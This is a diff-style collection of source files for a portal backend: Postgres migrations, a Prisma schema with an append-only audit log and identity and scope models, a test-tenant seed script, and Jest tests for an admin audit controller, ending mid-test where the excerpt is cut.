-- Closed-set CHECK on Structure.kind. Mirrors STRUCTURE_KINDS in
-- apps/portal-bff/src/structures/structure-kind.ts. The CI drift gate
-- (scripts/check-catalogue-drift.mjs) asserts the TS constant matches
-- the values used in code; this CHECK constraint provides the
-- equivalent guarantee at the DB layer for any code path that
-- bypasses the type system.
CREATE TABLE "structures" (
"code" TEXT NOT NULL,
"name" TEXT NOT NULL,
"kind" TEXT NOT NULL,
"finess" TEXT,
"siret" TEXT,
"code_paie" TEXT,
"delegation_code" TEXT,
CONSTRAINT "structures_pkey" PRIMARY KEY ("code"),
CONSTRAINT "structures_kind_check" CHECK (
"kind" IN (
'medico_social',
'antenne',
'dispositif',
'entreprise_adaptee',
'mouvement',
'administratif',
'siege'
)
)
);
-- CreateIndex
CREATE INDEX "delegations_region_code_idx" ON "delegations"("region_code");
-- CreateIndex
CREATE UNIQUE INDEX "structures_finess_key" ON "structures"("finess");
-- CreateIndex
CREATE UNIQUE INDEX "structures_siret_key" ON "structures"("siret");
-- CreateIndex
CREATE UNIQUE INDEX "structures_code_paie_key" ON "structures"("code_paie");
-- CreateIndex
CREATE INDEX "structures_kind_idx" ON "structures"("kind");
-- CreateIndex
CREATE INDEX "structures_delegation_code_idx" ON "structures"("delegation_code");
-- AddForeignKey
ALTER TABLE "delegations" ADD CONSTRAINT "delegations_region_code_fkey"
FOREIGN KEY ("region_code") REFERENCES "regions"("code")
ON DELETE RESTRICT ON UPDATE CASCADE;
-- AddForeignKey
-- ON DELETE SET NULL because delegationCode is optional in the Prisma
-- schema (Structure.delegation Delegation?). Matches Prisma's default
-- for nullable relations; the drift gate would otherwise flag this
-- on every `prisma migrate dev`.
ALTER TABLE "structures" ADD CONSTRAINT "structures_delegation_code_fkey"
FOREIGN KEY ("delegation_code") REFERENCES "delegations"("code")
ON DELETE SET NULL ON UPDATE CASCADE;
-- ------------------------------------------------------------------
-- Test-tenant reference seed (per ADR-0027 §"Seeding posture").
--
-- Region Nouvelle-Aquitaine + Délégation Gironde + the structures
-- referenced by the 19 personas in notes/test-tenant-role-assignments.md:
-- - 0330800013 (APF Bordeaux, FINESS = code)
-- - 0330800021 (Complexe Mérignac, FINESS = code)
-- - 'siege' (APF national headquarters)
--
-- Cascade-sync (ADR-0029) supersedes this seed entirely when it
-- ships — the cleanup migration responsible for that truncates and
-- repopulates from cascade's authoritative inventory.
-- ------------------------------------------------------------------
INSERT INTO "regions" ("code", "name") VALUES
('75', 'Nouvelle-Aquitaine');
INSERT INTO "delegations" ("code", "name", "region_code") VALUES
('33', 'Gironde', '75');
INSERT INTO "structures" ("code", "name", "kind", "finess", "delegation_code") VALUES
('0330800013', 'APF Bordeaux', 'medico_social', '0330800013', '33'),
('0330800021', 'Complexe Mérignac', 'medico_social', '0330800021', '33');
-- Siège has no delegation parent and no FINESS/SIRET/codePaie (those
-- columns stay NULL — the unique indexes tolerate multiple NULLs).
INSERT INTO "structures" ("code", "name", "kind") VALUES
('siege', 'Siège APF France handicap', 'siege');
@@ -0,0 +1,19 @@
-- Rename `users` -> `user_directory_entries`.
--
-- Prepares for ADR-0026 PR 1 which introduces a NEW `User` model
-- (UUID PK + FK to `Person` + `lastSignInAt`) with materially
-- different semantics. The existing model (ADR-0020 sign-in cache,
-- Entra `oid` as PK) keeps its role but gets a more precise name
-- that won't collide.
--
-- Mechanical refactor only — same columns, same indexes, same
-- constraints. ADR-0026 PR 1 lands the new `users` table with
-- the new semantics.
ALTER TABLE "users" RENAME TO "user_directory_entries";
-- Rename the PK constraint + indexes so they track the new table name.
-- Postgres doesn't auto-rename these on ALTER TABLE RENAME.
ALTER INDEX "users_pkey" RENAME TO "user_directory_entries_pkey";
ALTER INDEX "users_last_seen_at_idx" RENAME TO "user_directory_entries_last_seen_at_idx";
ALTER INDEX "users_username_idx" RENAME TO "user_directory_entries_username_idx";
@@ -0,0 +1,84 @@
-- Identity model (per ADR-0026 PR 1).
--
-- Person golden record + User portal-account overlay (1-to-0-or-1)
-- + UserScope (the table behind the ADR-0025 scope axis). Distinct
-- from `user_directory_entries` (ADR-0020 sign-in cache, renamed in
-- the previous migration) — those keep their role; these are new.
--
-- No seed data — the test-tenant scope rows ship in ADR-0026 PR 2
-- via `prisma/seed.ts`, after this schema is in place.
-- CreateTable
CREATE TABLE "persons" (
"id" UUID NOT NULL,
"first_name" TEXT NOT NULL,
"last_name" TEXT NOT NULL,
"email" TEXT,
"source" TEXT NOT NULL,
"external_id" TEXT,
"created_at" TIMESTAMPTZ(6) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" TIMESTAMPTZ(6) NOT NULL,
CONSTRAINT "persons_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "users" (
"id" UUID NOT NULL,
"person_id" UUID NOT NULL,
"entra_oid" TEXT NOT NULL,
"tenant_id" TEXT NOT NULL,
"last_sign_in_at" TIMESTAMPTZ(6),
"created_at" TIMESTAMPTZ(6) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" TIMESTAMPTZ(6) NOT NULL,
CONSTRAINT "users_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "user_scopes" (
"id" UUID NOT NULL,
"user_id" UUID NOT NULL,
"kind" TEXT NOT NULL,
"value" TEXT NOT NULL DEFAULT '',
"source" TEXT NOT NULL,
"created_at" TIMESTAMPTZ(6) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"expires_at" TIMESTAMPTZ(6),
CONSTRAINT "user_scopes_pkey" PRIMARY KEY ("id")
);
-- Person indexes
CREATE INDEX "persons_source_idx" ON "persons"("source");
CREATE INDEX "persons_external_id_idx" ON "persons"("external_id");
CREATE INDEX "persons_email_idx" ON "persons"("email");
-- User indexes — both unique constraints back btree indexes.
CREATE UNIQUE INDEX "users_person_id_key" ON "users"("person_id");
CREATE UNIQUE INDEX "users_entra_oid_key" ON "users"("entra_oid");
-- UserScope indexes — the unique constraint backs the composite,
-- the plain index supports the read-by-userId hot path on sign-in.
CREATE UNIQUE INDEX "user_scopes_user_id_kind_value_key" ON "user_scopes"("user_id", "kind", "value");
CREATE INDEX "user_scopes_user_id_idx" ON "user_scopes"("user_id");
-- Foreign keys.
--
-- User.person_id is REQUIRED → ON DELETE RESTRICT (Prisma default for
-- required relations). Removing a Person with a portal User must be
-- an explicit two-step in the admin path; never an accidental cascade.
ALTER TABLE "users" ADD CONSTRAINT "users_person_id_fkey"
FOREIGN KEY ("person_id") REFERENCES "persons"("id")
ON DELETE RESTRICT ON UPDATE CASCADE;
-- UserScope.user_id has explicit `onDelete: Cascade` in the Prisma
-- schema — revoking a User wipes their scope rows in one delete,
-- which is the desired admin-UI semantic (deactivating an account
-- should not leave dangling authorisation rows).
ALTER TABLE "user_scopes" ADD CONSTRAINT "user_scopes_user_id_fkey"
FOREIGN KEY ("user_id") REFERENCES "users"("id")
ON DELETE CASCADE ON UPDATE CASCADE;
@@ -0,0 +1,3 @@
# Please do not edit this file manually
# It should be added in your version-control system (e.g., Git)
provider = "postgresql"
+332 -4
View File
@@ -1,13 +1,341 @@
// This is your Prisma schema file, // Prisma schema for portal-bff.
// learn more about it in the docs: https://pris.ly/d/prisma-schema //
// `multiSchema` preview is enabled because per ADR-0013 the audit log
// Get a free hosted Postgres database in seconds: `npx create-db` // lives in its own `audit` schema with role-based append-only access
// (audit_owner / audit_writer / audit_reader / audit_archiver). The
// public schema holds the regular business data; only audit.events
// lives in audit.
generator client { generator client {
provider = "prisma-client-js" provider = "prisma-client-js"
previewFeatures = ["multiSchema"]
} }
datasource db { datasource db {
provider = "postgresql" provider = "postgresql"
url = env("DATABASE_URL") url = env("DATABASE_URL")
schemas = ["public", "audit"]
}
// ============================================================
// Audit log (per ADR-0013)
// ============================================================
//
// Append-only by Postgres role grants — the schema, roles, and
// default privileges are provisioned by infra/local/init/postgres/
// 01-init.sql in dev and the equivalent production manifest. The
// migration that creates this table re-applies the grants
// explicitly and ALTERs the table owner to `audit_owner` so the
// runtime role contract holds even when the migration runs as a
// privileged migrator account.
//
// At runtime, the BFF wraps every INSERT into this table in a
// transaction that begins with `SET LOCAL ROLE audit_writer`, so
// even a compromised BFF connection cannot UPDATE / TRUNCATE /
// DELETE — those grants are not on `audit_writer`.
enum AuditAudience {
workforce
customer
@@schema("audit")
}
enum AuditOutcome {
success
failure
denied
@@schema("audit")
}
// ============================================================
// User directory (per ADR-0020 §"v1 scope — User list")
// ============================================================
//
// Persistent ledger of every identity that has signed in to either
// portal-shell or portal-admin. Upserted at sign-in by
// `UserDirectoryService.recordSignIn` (called from
// `SessionEstablisher.establish`), read by the future
// `GET /api/admin/users` endpoint per ADR-0020 §"User list
// (read-only)".
//
// **Not the source of truth for identity.** Entra ID is. This table
// is a cache the BFF maintains so the admin UI can list "everyone
// who's ever signed in" without re-querying the directory at
// every render. Per-tenant `oid` is the join key on the audit side
// (combined with the salted hash) — never the BFF's primary actor
// identifier elsewhere.
//
// **Distinct from the upcoming ADR-0026 `User` model.** That one
// (UUID PK + FK to `Person` + lazy-created at OIDC callback) is the
// portal-account overlay on a `Person` golden record. This
// `UserDirectoryEntry` is the ADR-0020 sign-in cache — different
// semantics, kept apart so neither concept overloads the other.
//
// **No PII redaction on read.** Per ADR-0013 the audit module
// hashes the actor id to defend against an audit-log dump leaking
// who-did-what. This table is the *deliberate* PII storage: an
// admin browsing the user list explicitly wants display names and
// usernames. The trust boundary is the admin role gate
// (ADR-0020 §"Auth — `admin` role claim").
model UserDirectoryEntry {
// Entra `oid` — stable per-user identifier inside the tenant.
// Used as the natural primary key. Per-tenant uniqueness is
// sufficient: the dual-audience design (ADR-0008) currently
// assumes single workforce tenant; cross-tenant collisions
// become a separate ADR when we onboard the second one.
oid String @id
tid String
audience String
username String
displayName String @map("display_name")
// `first_seen_at` is set once at first sign-in and never
// updated thereafter. Lets the admin list "users since
// <date>" without joining anything.
firstSeenAt DateTime @default(now()) @map("first_seen_at") @db.Timestamptz(6)
// `last_seen_at` is set every time the upsert fires (one upsert
// per sign-in), so "most recently active" can be computed
// without scanning audit.events.
lastSeenAt DateTime @default(now()) @map("last_seen_at") @db.Timestamptz(6)
@@map("user_directory_entries")
@@schema("public")
@@index([lastSeenAt(sort: Desc)])
@@index([username])
}
// ============================================================
// Identity model (per ADR-0026)
// ============================================================
//
// `Person` golden record + `User` portal-account overlay (one-to-zero-
// or-one). Distinct from `UserDirectoryEntry` above — that one is the
// ADR-0020 sign-in cache keyed on Entra `oid`; these are the portal's
// stable identity model keyed on UUIDs and form the basis for the
// `@RequireScope` Prisma resolver landing in ADR-0026 PR 2.
//
// `Person` exists whether or not the human ever signs in (workforce
// pre-provisioning, dossier bénéficiaires, alumni). `User` is the
// portal-access overlay, lazy-created at first OIDC callback by
// `PersonAndUserProvisioner.ensureUser`. `UserScope` backs the ADR-0025
// scope axis with opaque `value` strings referencing ADR-0027's
// `Structure.code` / `Delegation.code` / `Region.code` — no FK at the
// DB level so historical scope rows survive structure decommissioning.
model Person {
id String @id @default(uuid()) @db.Uuid
// PII — firstName + lastName are subject to ADR-0013 redaction rules
// when emitted to logs.
firstName String @map("first_name")
lastName String @map("last_name")
// Primary contact email. Indexed for operator lookup but NOT unique
// — two distinct humans genuinely can share emails (shared family
// alias, generic info@ at a small partner organisation, error in an
// upstream feed). ADR-0029's reconciliation flow surfaces candidate
// duplicates for operator confirmation rather than auto-merging.
email String?
// Closed-set catalogue, drift-gated. See
// `apps/portal-bff/src/users/person-source.ts` for the legal values.
// v1: 'self-signin' / 'admin-ui' / 'seed'. ADR-0029 adds 'pleiades'
// and 'acteurs-plus'.
source String
// Upstream-system identifier (Pléiades matricule, Acteurs+ id).
// Nullable in v1 — populated by ADR-0029's syncs.
externalId String? @map("external_id")
createdAt DateTime @default(now()) @map("created_at") @db.Timestamptz(6)
updatedAt DateTime @updatedAt @map("updated_at") @db.Timestamptz(6)
// Back-ref. NULL when the Person has no portal account (workforce
// pre-provisioning, dossier bénéficiaire, alumni).
user User?
@@map("persons")
@@schema("public")
@@index([source])
@@index([externalId])
@@index([email])
}
model User {
id String @id @default(uuid()) @db.Uuid
// 1-to-1 with Person. The unique constraint on personId enforces
// "at most one User per Person"; back-ref `Person.user` is the
// other half.
personId String @unique @map("person_id") @db.Uuid
person Person @relation(fields: [personId], references: [id])
// Entra object id — stable per-user identifier inside the tenant.
// Unique because two separate Person+User pairs cannot share an
// Entra identity.
entraOid String @unique @map("entra_oid")
// Entra tenant id. Stored alongside the oid so a future dual-
// audience activation (ADR-0008) can disambiguate.
tenantId String @map("tenant_id")
// Refreshed by `PersonAndUserProvisioner.ensureUser` on every
// sign-in. Surfaced in the future /admin/users/:id screen.
lastSignInAt DateTime? @map("last_sign_in_at") @db.Timestamptz(6)
createdAt DateTime @default(now()) @map("created_at") @db.Timestamptz(6)
updatedAt DateTime @updatedAt @map("updated_at") @db.Timestamptz(6)
scopes UserScope[]
@@map("users")
@@schema("public")
}
model UserScope {
id String @id @default(uuid()) @db.Uuid
userId String @map("user_id") @db.Uuid
// CASCADE so revoking a User wipes their scope rows in one delete.
user User @relation(fields: [userId], references: [id], onDelete: Cascade)
// One of the six ADR-0025 scope kinds: 'self' / 'etablissement' /
// 'delegation' / 'region' / 'siege' / 'unrestricted'. Not pulled
// from a Prisma enum because the value's semantics belong to the
// `shared-auth` catalogue, not the database; the drift gate
// already enforces the closed set at the call sites.
kind String
// Per-kind payload — semantics owned by ADR-0027. For 'etablissement'
// the value is a Structure.code; for 'delegation' it is a
// Delegation.code; for 'region' it is a Region.code. Empty string
// for 'self' / 'siege' / 'unrestricted'. NO FK to ADR-0027 tables —
// historical scope rows survive structure decommissioning; the
// admin-UI write path (ADR-0026 PR 2) validates at insert time.
value String @default("")
// Provenance, same catalogue posture as Person.source. v1:
// 'admin-ui' / 'seed'. ADR-0029 adds upstream-sync values and a
// reconciliation policy.
source String
createdAt DateTime @default(now()) @map("created_at") @db.Timestamptz(6)
// When non-null and past, the row is ignored at sign-in. Supports
// interim-director-for-two-months patterns and admin UI scope
// revocations.
expiresAt DateTime? @map("expires_at") @db.Timestamptz(6)
@@map("user_scopes")
@@schema("public")
@@unique([userId, kind, value])
@@index([userId])
}
// ============================================================
// Organisational hierarchy (per ADR-0027)
// ============================================================
//
// Region → Delegation → Structure. The portal's scope-axis
// dereferences these three layers — the BFF guard
// `principalCoversResource` walks etablissement → delegation →
// region to decide whether a scope covers a resource (per
// ADR-0025).
//
// Population in v1: a small inline seed in the
// `add_org_hierarchy` migration (the codes the test tenant
// exercises). The full APF inventory ships with ADR-0029's
// cascade sync, which writes additively into these columns —
// no schema churn at sync time.
model Region {
// INSEE region code (2 digits — '75' Nouvelle-Aquitaine,
// '11' Île-de-France). Externally meaningful and stable
// across reorgs; doubles as primary key.
code String @id
name String
delegations Delegation[]
@@map("regions")
@@schema("public")
}
model Delegation {
// French department code (2-3 chars — '33' Gironde, '2A',
// '971'). Same rationale as Region.code.
code String @id
name String
regionCode String @map("region_code")
region Region @relation(fields: [regionCode], references: [code])
structures Structure[]
@@map("delegations")
@@schema("public")
@@index([regionCode])
}
model Structure {
// Portal-internal stable code, externally meaningful. For
// medico-social structures: code = FINESS (9 digits). For
// non-medico-social: APF-internal slug ('siege',
// 'apf-bdx-merignac', 'ea-toulouse', …). Opaque at the type
// level; matching is string equality, not parsing.
code String @id
name String
// Closed set, drift-gated. Legal values are tracked in
// `apps/portal-bff/src/structures/structure-kind.ts` and
// mirrored by a Postgres CHECK constraint on this column
// (see the migration). `scripts/check-catalogue-drift.mjs`
// asserts the TS constant matches the values used in code.
kind String
// FINESS (9 digits). NULL for non-medico-social structures.
// Unique when present. Cascade's StructureSourceFiness is
// the long-term authoritative carrier; the portal denormalises
// it inline here for v1 scope-axis checks. ADR-0029's sync
// owns the write path.
finess String? @unique
// SIRET (14 chars: 9 SIREN + 5 NIC). NULL when the structure
// is not SIRENE-registered (most antennes, dispositifs).
// Unique when present.
siret String? @unique
// Pléiades payroll code (6 chars). NULL in v1 — populated by
// ADR-0029's Pléiades sync once it ships.
codePaie String? @unique @map("code_paie")
// Parent delegation. NULL for structures not attached to one
// (siège, mouvement national, …).
delegationCode String? @map("delegation_code")
delegation Delegation? @relation(fields: [delegationCode], references: [code])
@@map("structures")
@@schema("public")
@@index([kind])
@@index([delegationCode])
}
model AuditEvent {
id String @id @default(uuid()) @db.Uuid
createdAt DateTime @default(now()) @map("created_at") @db.Timestamptz(6)
eventType String @map("event_type")
audience AuditAudience
// Salted hash (LOG_USER_ID_SALT) of the actor's stable id. NULL
// when the actor is unauthenticated (e.g. failed login attempt
// before resolving an identity). The same salt is used by the
// BFF Pino logger so audit and app logs cross-correlate on this
// field.
actorIdHash String? @map("actor_id_hash")
// W3C trace id (32 hex chars) of the request that produced the
// event. Cross-correlates with traces in Jaeger and with Pino
// log lines that carry the same `trace_id` field. NULL only if
// the event was emitted outside any inbound request (e.g. a
// future cron job).
traceId String? @map("trace_id")
// Free-form identifier of what the event is *about* — typically
// a domain entity URI like `user:42` or `dossier:xyz`. NULL when
// the event is system-wide and has no clear subject.
subject String?
outcome AuditOutcome
// Event-specific structured detail. Redaction of PII is the
// caller's responsibility; the BFF Pino redact list is the
// reference allow-/deny-list.
payload Json?
@@map("events")
@@schema("audit")
@@index([createdAt])
@@index([eventType])
@@index([traceId])
} }
+291
View File
@@ -0,0 +1,291 @@
/**
* Test-tenant seed per ADR-0026 PR 2.
*
* Run via:
* pnpm exec prisma db seed
*
* Idempotent: re-running this script preserves existing rows. The
* checks for "row already there" run against the unique constraints:
* - User.entraOid (skipping the cold path of
* PersonAndUserProvisioner if the row exists),
* - UserScope.(userId, kind, value).
*
* The seed creates Person + User + UserScope rows for the 19 personas
* provisioned in the `apfrd.onmicrosoft.com` test tenant. The
* persona matrix below is transcribed from
* `notes/test-tenant-role-assignments.md` (gitignored) — that file
* remains the human-readable reference; this constant is the source
* of truth for the seed.
*
* **Test-tenant Entra `oid`s** are read from a JSON file pointed at
* by `TEST_TENANT_PERSONAS_PATH` (or `infra/test-tenant.personas.json`
* by default). The file is gitignored — copy
* `infra/test-tenant.personas.example.json` and fill in real values
* from the Entra admin centre. Missing file → seed skips the
* test-tenant section cleanly (no error, just a log line).
*
* **`Person.source = 'seed'`** for every row created here, per the
* PERSON_SOURCES catalogue. Differentiates these rows from
* 'self-signin' (lazy-created at first sign-in) and 'admin-ui' (future
* scope-seeding admin screen, ADR-0026 PR 2b).
*
* **Privileges + functional roles are NOT seeded** — those come from
* Entra at sign-in (Entra `roles` claim + `groups` claim resolved by
* `EntraGroupToRoleResolver`). Only scopes are portal-side data.
*/
import { existsSync, readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import { PrismaClient } from '@prisma/client';
interface PersonaSeed {
readonly slug: string;
readonly email: string;
readonly displayName: string;
/**
* Scope tuples per `notes/test-tenant-role-assignments.md`. The
* `value` is omitted for valueless kinds (self / siege /
* unrestricted) — the seed writes an empty string to the DB
* `value` column, matching the column's default.
*/
readonly scopes: ReadonlyArray<{ readonly kind: string; readonly value?: string }>;
}
const TENANT_DOMAIN = 'apfrd.onmicrosoft.com';
const PERSONAS: ReadonlyArray<PersonaSeed> = [
{
slug: 'admin',
email: `admin@${TENANT_DOMAIN}`,
displayName: 'Admin User',
scopes: [{ kind: 'unrestricted' }],
},
{
slug: 'directeur-bordeaux',
email: `directeur-bordeaux@${TENANT_DOMAIN}`,
displayName: 'Directeur Bordeaux',
scopes: [{ kind: 'etablissement', value: '0330800013' }],
},
{
slug: 'directeur-complexe',
email: `directeur-complexe@${TENANT_DOMAIN}`,
displayName: 'Directeur Complexe',
scopes: [
{ kind: 'etablissement', value: '0330800013' },
{ kind: 'etablissement', value: '0330800021' },
],
},
{
slug: 'rh-aquitaine',
email: `rh-aquitaine@${TENANT_DOMAIN}`,
displayName: 'RH Aquitaine',
scopes: [{ kind: 'delegation', value: '33' }],
},
{
slug: 'rh-siege',
email: `rh-siege@${TENANT_DOMAIN}`,
displayName: 'RH Siège',
scopes: [{ kind: 'unrestricted' }],
},
{
slug: 'collaborateur-simple',
email: `collaborateur-simple@${TENANT_DOMAIN}`,
displayName: 'Collaborateur Simple',
scopes: [{ kind: 'self' }],
},
{
slug: 'tresorier-bordeaux',
email: `tresorier-bordeaux@${TENANT_DOMAIN}`,
displayName: 'Trésorier Bordeaux',
scopes: [{ kind: 'delegation', value: '33' }],
},
{
slug: 'dpo',
email: `dpo@${TENANT_DOMAIN}`,
displayName: 'DPO',
scopes: [{ kind: 'unrestricted' }],
},
{
slug: 'it',
email: `it@${TENANT_DOMAIN}`,
displayName: 'IT',
scopes: [{ kind: 'unrestricted' }],
},
{
slug: 'benevole-aquitaine',
email: `benevole-aquitaine@${TENANT_DOMAIN}`,
displayName: 'Bénévole Aquitaine',
scopes: [{ kind: 'delegation', value: '33' }],
},
{
slug: 'chef-equipe-bordeaux',
email: `chef-equipe-bordeaux@${TENANT_DOMAIN}`,
displayName: 'Chef Equipe Bordeaux',
scopes: [{ kind: 'etablissement', value: '0330800013' }],
},
{
slug: 'chef-service-bordeaux',
email: `chef-service-bordeaux@${TENANT_DOMAIN}`,
displayName: 'Chef Service Bordeaux',
scopes: [{ kind: 'etablissement', value: '0330800013' }],
},
{
slug: 'directeur-territorial-aquitaine',
email: `directeur-territorial-aquitaine@${TENANT_DOMAIN}`,
displayName: 'Directeur Territorial Aquitaine',
scopes: [{ kind: 'delegation', value: '33' }],
},
{
slug: 'juriste-siege',
email: `juriste-siege@${TENANT_DOMAIN}`,
displayName: 'Juriste Siège',
scopes: [{ kind: 'unrestricted' }],
},
{
slug: 'rssi',
email: `rssi@${TENANT_DOMAIN}`,
displayName: 'RSSI',
scopes: [{ kind: 'unrestricted' }],
},
{
slug: 'communication-siege',
email: `communication-siege@${TENANT_DOMAIN}`,
displayName: 'Communication Siège',
scopes: [{ kind: 'unrestricted' }],
},
{
slug: 'elu-ca-national',
email: `elu-ca-national@${TENANT_DOMAIN}`,
displayName: 'Elu CA National',
scopes: [{ kind: 'siege' }],
},
{
slug: 'president-cd-aquitaine',
email: `president-cd-aquitaine@${TENANT_DOMAIN}`,
displayName: 'Président CD Aquitaine',
scopes: [{ kind: 'delegation', value: '33' }],
},
{
slug: 'secretaire-cd-aquitaine',
email: `secretaire-cd-aquitaine@${TENANT_DOMAIN}`,
displayName: 'Secrétaire CD Aquitaine',
scopes: [{ kind: 'delegation', value: '33' }],
},
];
async function main(): Promise<void> {
const prisma = new PrismaClient();
try {
await seedTestTenant(prisma);
} finally {
await prisma.$disconnect();
}
}
async function seedTestTenant(prisma: PrismaClient): Promise<void> {
const personasPath = resolve(
process.env['TEST_TENANT_PERSONAS_PATH'] ?? 'infra/test-tenant.personas.json',
);
if (!existsSync(personasPath)) {
console.log(
`[seed] TEST_TENANT_PERSONAS_PATH (${personasPath}) not found — skipping test-tenant seed.`,
);
return;
}
let entraOidBySlug: Record<string, string>;
try {
const raw = readFileSync(personasPath, 'utf8');
entraOidBySlug = JSON.parse(raw) as Record<string, string>;
} catch (err) {
console.error(
`[seed] could not parse ${personasPath}: ${err instanceof Error ? err.message : String(err)}`,
);
process.exit(1);
}
const tenantId = process.env['ENTRA_TENANT_ID'] ?? TENANT_DOMAIN;
const counts = { personsCreated: 0, usersCreated: 0, scopesCreated: 0, skipped: 0 };
for (const persona of PERSONAS) {
const entraOid = entraOidBySlug[persona.slug];
if (entraOid === undefined || typeof entraOid !== 'string' || entraOid === '') {
console.warn(`[seed] persona "${persona.slug}" missing oid in ${personasPath} — skipping.`);
counts.skipped += 1;
continue;
}
const { userId, created } = await ensurePersonAndUser(prisma, persona, entraOid, tenantId);
if (created) {
counts.personsCreated += 1;
counts.usersCreated += 1;
}
for (const scope of persona.scopes) {
const seededNew = await ensureUserScope(prisma, userId, scope.kind, scope.value ?? '');
if (seededNew) counts.scopesCreated += 1;
}
}
console.log(
`[seed] test-tenant complete — created ${counts.personsCreated} Person + ${counts.usersCreated} User + ${counts.scopesCreated} UserScope rows; skipped ${counts.skipped} personas (missing oid).`,
);
}
async function ensurePersonAndUser(
prisma: PrismaClient,
persona: PersonaSeed,
entraOid: string,
tenantId: string,
): Promise<{ userId: string; personId: string; created: boolean }> {
const existing = await prisma.user.findUnique({
where: { entraOid },
select: { id: true, personId: true },
});
if (existing) {
return { userId: existing.id, personId: existing.personId, created: false };
}
const [firstName, lastName] = splitDisplayName(persona.displayName);
const created = await prisma.user.create({
data: {
entraOid,
tenantId,
person: {
create: {
firstName,
lastName,
email: persona.email,
source: 'seed',
},
},
},
select: { id: true, personId: true },
});
return { userId: created.id, personId: created.personId, created: true };
}
async function ensureUserScope(
prisma: PrismaClient,
userId: string,
kind: string,
value: string,
): Promise<boolean> {
const existing = await prisma.userScope.findUnique({
where: { userId_kind_value: { userId, kind, value } },
});
if (existing) return false;
await prisma.userScope.create({
data: { userId, kind, value, source: 'seed' },
});
return true;
}
function splitDisplayName(displayName: string): [string, string] {
const trimmed = displayName.trim();
const space = trimmed.indexOf(' ');
if (space < 0) return [trimmed, ''];
return [trimmed.slice(0, space), trimmed.slice(space + 1).trim()];
}
main().catch((err: unknown) => {
console.error('[seed] failed:', err);
process.exit(1);
});
@@ -0,0 +1,162 @@
import type { Request } from 'express';
import { AdminAuditController } from './admin-audit.controller';
import type { AdminAuditQueryDto } from './audit-query.dto';
import type { AuditReader, AdminAuditPage } from './audit-reader.service';
import type { AdminAuditStatsQueryDto } from './audit-stats.dto';
import type { AuditStatsReader, AdminAuditStats } from './audit-stats.service';
import type { AuditWriter } from '../audit/audit.service';
const PAGE: AdminAuditPage = {
items: [
{
id: '11111111-1111-1111-1111-111111111111',
createdAt: '2026-05-13T10:30:00.000Z',
eventType: 'auth.sign_in',
audience: 'workforce',
actorIdHash: 'hash(jane)',
traceId: 'trace-abc',
subject: 'session:sid-1',
outcome: 'success',
payload: { amr: ['pwd', 'mfa'] },
},
],
total: 1,
limit: 50,
offset: 0,
};
function makeReq(user?: { oid: string }): Request {
return { session: user !== undefined ? { user } : {} } as unknown as Request;
}
const STATS: AdminAuditStats = {
dailyVolume: [{ day: '2026-05-13', count: 1 }],
outcomeBreakdown: [{ outcome: 'success', count: 1 }],
eventTypeByDay: [{ day: '2026-05-13', eventType: 'auth.sign_in', count: 1 }],
total: 1,
};
function makeFixture() {
const auditReader = {
findEvents: jest.fn().mockResolvedValue(PAGE),
};
const auditStatsReader = {
getStats: jest.fn().mockResolvedValue(STATS),
};
const auditWriter = {
adminAuditQuery: jest.fn().mockResolvedValue(undefined),
adminAuditStatsQuery: jest.fn().mockResolvedValue(undefined),
};
const controller = new AdminAuditController(
auditReader as unknown as AuditReader,
auditStatsReader as unknown as AuditStatsReader,
auditWriter as unknown as AuditWriter,
);
return { controller, auditReader, auditStatsReader, auditWriter };
}
describe('AdminAuditController.list', () => {
it('returns the page from AuditReader', async () => {
const { controller } = makeFixture();
const page = await controller.list(makeReq({ oid: 'admin-oid' }), {} as AdminAuditQueryDto);
expect(page).toBe(PAGE);
});
it('forwards the validated DTO to AuditReader as-is', async () => {
const { controller, auditReader } = makeFixture();
const filters: AdminAuditQueryDto = {
eventType: 'auth.sign_in',
audience: 'workforce',
createdAtFrom: '2026-05-01T00:00:00.000Z',
limit: 100,
offset: 0,
};
await controller.list(makeReq({ oid: 'admin-oid' }), filters);
expect(auditReader.findEvents).toHaveBeenCalledWith(filters);
});
it('emits admin.audit.query with the filters + result count as deterrent', async () => {
const { controller, auditWriter } = makeFixture();
const filters: AdminAuditQueryDto = { eventType: 'auth.sign_in', limit: 50 };
await controller.list(makeReq({ oid: 'admin-oid' }), filters);
expect(auditWriter.adminAuditQuery).toHaveBeenCalledWith({
actor: { oid: 'admin-oid' },
filters: { eventType: 'auth.sign_in', limit: 50 },
resultCount: PAGE.items.length,
});
});
it('captures an empty filter object verbatim (the admin asked for everything)', async () => {
const { controller, auditWriter } = makeFixture();
await controller.list(makeReq({ oid: 'admin-oid' }), {} as AdminAuditQueryDto);
expect(auditWriter.adminAuditQuery).toHaveBeenCalledWith(
expect.objectContaining({ filters: {} }),
);
});
it('still returns the page when there is no session.user (defensive — guard should have caught it)', async () => {
const { controller, auditWriter } = makeFixture();
const page = await controller.list(makeReq(), {} as AdminAuditQueryDto);
expect(page).toBe(PAGE);
// No actor → no audit row. The guard is the primary gate; this
// branch exists so a misconfiguration doesn't crash with a
// misleading error.
expect(auditWriter.adminAuditQuery).not.toHaveBeenCalled();
});
it('propagates audit write failures (blocking per ADR-0013)', async () => {
const { controller, auditWriter } = makeFixture();
auditWriter.adminAuditQuery.mockRejectedValueOnce(new Error('audit_writer denied'));
await expect(
controller.list(makeReq({ oid: 'admin-oid' }), {} as AdminAuditQueryDto),
).rejects.toThrow('audit_writer denied');
});
});
describe('AdminAuditController.stats', () => {
it('returns the aggregated stats from AuditStatsReader', async () => {
const { controller } = makeFixture();
const result = await controller.stats(
makeReq({ oid: 'admin-oid' }),
{} as AdminAuditStatsQueryDto,
);
expect(result).toBe(STATS);
});
it('forwards the validated DTO to AuditStatsReader as-is', async () => {
const { controller, auditStatsReader } = makeFixture();
const filters: AdminAuditStatsQueryDto = {
eventType: 'auth.sign_in',
audience: 'workforce',
createdAtFrom: '2026-05-01T00:00:00Z',
};
await controller.stats(makeReq({ oid: 'admin-oid' }), filters);
expect(auditStatsReader.getStats).toHaveBeenCalledWith(filters);
});
it('emits admin.audit.stats.query with the filters + total as the deterrent signal', async () => {
const { controller, auditWriter } = makeFixture();
const filters: AdminAuditStatsQueryDto = { outcome: 'denied' };
await controller.stats(makeReq({ oid: 'admin-oid' }), filters);
